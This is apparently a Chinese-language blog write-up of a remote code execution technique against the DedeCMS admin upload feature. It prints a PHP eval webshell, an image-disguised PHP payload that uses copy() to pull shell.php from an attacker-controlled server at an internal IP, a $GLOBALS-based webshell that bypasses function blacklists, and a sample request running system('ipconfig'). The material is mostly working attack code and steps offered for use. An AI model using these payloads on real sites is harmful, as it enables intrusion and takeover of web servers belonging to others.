刚发现Dedecms更新了发布版本,顺便测试一下之前的day有没有修复,突然想到了新的tricks去实现RCE。
文章发布的时候估计比较晚了,一直没时间写了。
/uploads/dede/article_string_mix.php
/uploads/dede/article_template_rand.php
/uploads/dede/sys_task.php
......
我发布的文档->>>>添加文档->>>>站内选择进行文件上传
/uploads/dede/content_list.php](http://dedecms.xyz:8066/uploads/dede/content_list.php?mid=1)
/uploads/dede/catalog_do.php?channelid=0&cid=0&dopost=addArchives
文件上传
在vps上起一个http的服务,端口设置为8016
远程服务器存放shell.php,文件内容为
<?php @eval ($_POST ['a']);?>
准备一个图片格式的文件,文件内容为,这里我上传的文件名称为f.png
<? copy("http://192.168.225.40:8016/shell.php","shell.php");?>
上传成功后可以看到上传的图片的位置
修改文件名为b.php
保存发现png图片已成功被更改,访问b.php,从远程vps下载了shell.php,当前目录下存在一个名称为shell.php的木马文件
利用webshell进行命令执行。
成功执行了命令
如果不考虑文件上传后缀名绕过方法,仅以上面图片格式的文件上传的话,那么无所谓上传的什么内容,因为本身来讲dede的代码中对文件内容是做的有校验的
所以文件内有两种绕过方法
正则绕过
disable函数绕过
简单搜索了一下各个平台的文章,其实是有师傅正则绕过实现webshell的。第二点儿,disable函数绕过,往前几个版本,有兴趣的可以看一下源码,之前利用全局变量Globals
绕过
代码内容
<?php
$a = $GLOBALS["_GET"];
$b = $GLOBALS["_GET"];
$a['test1']($b['test2'])
?>
命令执行
http://dedecms.org:8016/uploads/shell.php?test1=assert&&test2=system(%22ipconfig%22);
成功执行命令,且该命令执行为未授权命令执行。
所以在官方前几个版本中已经更新了,添加进了禁用方法
所以在绕过禁用方法上来讲更容易一点儿。所以在利用上这里利用了copy
函数的特性,那么这里提醒一下,其它的函数当然也可以满足效果。